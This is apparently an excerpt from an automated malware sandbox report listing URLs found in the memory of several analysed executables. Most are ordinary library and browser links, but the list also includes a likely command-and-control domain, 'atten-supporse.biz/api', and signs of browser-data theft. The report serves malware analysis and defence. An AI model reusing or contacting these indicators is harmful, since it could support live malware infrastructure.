Source: ziNGMDa.exe, 00000012.00000003.3009804413.000001F69CC0C000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3009690328.000001F69CC0C000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3009690328.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: ziNGMDa.exe, 00000014.00000002.3330404335.000001C7FF928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: ziNGMDa.exe, 00000012.00000003.3009397877.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: ziNGMDa.exe, 00000012.00000003.3009397877.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/copyleft/gpl.htmlThe
Source: ziNGMDa.exe, 00000014.00000003.3016137125.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: file.exe, 00000000.00000002.2657386888.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: METADATA0.18.dr	String found in binary or memory: http://www.pyinstaller.org/
Source: ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	String found in binary or memory: http://www.pyinstaller.org/support.html
Source: file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2645920447.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ziNGMDa.exe, 00000012.00000003.3007900438.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3004290502.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: https://altgraph.readthedocs.io
Source: METADATA.18.dr	String found in binary or memory: https://altgraph.readthedocs.io/en/latest/
Source: 0eb65aaf2f.exe, 00000016.00000003.3227635499.0000000000D41000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254870081.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295755517.000000000563B000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3252905448.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254152728.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3252387300.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3294733307.000000000563B000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3292834487.0000000005638000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3336365165.0000000005652000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3292349553.0000000005635000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254152728.0000000005635000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api2
Source: 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiEd7sSF1Bg=
Source: 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiUv
Source: 0eb65aaf2f.exe, 00000016.00000003.3293242979.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3293004468.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3257955177.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254870081.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3252905448.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3254152728.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000002.3336365165.0000000005635000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3252387300.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3292349553.0000000005635000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/h
Source: 0eb65aaf2f.exe, 00000016.00000002.3326687445.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295941337.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295941337.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	String found in binary or memory: https://github.com/naufraghi/tinyaes-py
Source: ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	String found in binary or memory: https://github.com/pyinstaller/pyinstaller
Source: ziNGMDa.exe, 00000012.00000003.3009690328.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyinstaller/pyinstaller.
Source: ziNGMDa.exe, 00000014.00000002.3331467425.000001C7FF9B4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: ziNGMDa.exe, 00000014.00000002.3322894428.000001C7FD7F8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/mypy/issues/3216
Source: ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: https://github.com/ronaldoussoren/altgraph
Source: ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: https://github.com/ronaldoussoren/altgraph/
Source: METADATA.18.dr	String found in binary or memory: https://github.com/ronaldoussoren/altgraph/issues
Source: ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: https://github.com/ronaldoussoren/altgraph/workflows/Lint/badge.svg
Source: ziNGMDa.exe, 00000012.00000003.3008409989.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, METADATA.18.dr	String found in binary or memory: https://github.com/ronaldoussoren/altgraph/workflows/Test/badge.svg
Source: ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011587757.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011768004.000001C7FD410000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3012397565.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3011965491.000001C7FD3EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: ziNGMDa.exe, 00000012.00000003.3009690328.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gnu.org/licenses/gpl-2.0.html
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3295941337.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	String found in binary or memory: https://pyinstaller.readthedocs.io/en/v4.9
Source: ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	String found in binary or memory: https://pyinstaller.readthedocs.io/en/v4.9/
Source: ziNGMDa.exe, 00000012.00000003.3009900048.000001F69CBFF000.00000004.00000020.00020000.00000000.sdmp, METADATA0.18.dr	String found in binary or memory: https://pyinstaller.readthedocs.io/en/v4.9/CHANGES.html
Source: ziNGMDa.exe, 00000014.00000002.3336778016.00007FF8A8B3E000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: ziNGMDa.exe, 00000014.00000003.3015646378.000001C7FF623000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3015715541.000001C7FF5CB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016357180.000001C7FF618000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF5D2000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016137125.000001C7FF5D2000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016137125.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5AA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3326546392.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000003.3016738690.000001C7FF5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.readthedocs.io/en/latest/pkg_resources.html#basic-resource-access
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0eb65aaf2f.exe, 00000016.00000003.3294959612.00000000058EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: ziNGMDa.exe, 00000014.00000002.3321989205.000001C7FD370000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wiki.debian.org/XDGBaseDirectorySpecification#state
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 0eb65aaf2f.exe, 00000016.00000003.3227975043.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228211791.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228071402.00000000055F8000.00000004.00000800.00020000.00000000.sdmp, HCFIIIJJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2627096848.0000000000457000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2627096848.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2627096848.0000000000457000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/GHJKFIDHJJJE
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2627096848.0000000000457000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2627096848.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2627096848.0000000000457000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2627096848.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2512558838.000000000BEE6000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3294959612.00000000058EA000.00000004.00000800.00020000.00000000.sdmp, HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2512558838.000000000BEE6000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3294959612.00000000058EA000.00000004.00000800.00020000.00000000.sdmp, HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2627096848.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2512558838.000000000BEE6000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3294959612.00000000058EA000.00000004.00000800.00020000.00000000.sdmp, HJDGHIJDGCBAAAAAFIJDAECGHC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2627096848.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.18.dr	String found in binary or memory: https://www.openssl.org/H
Source: ziNGMDa.exe, 00000012.00000003.3008979208.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3329754680.000001C7FF750000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.18.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
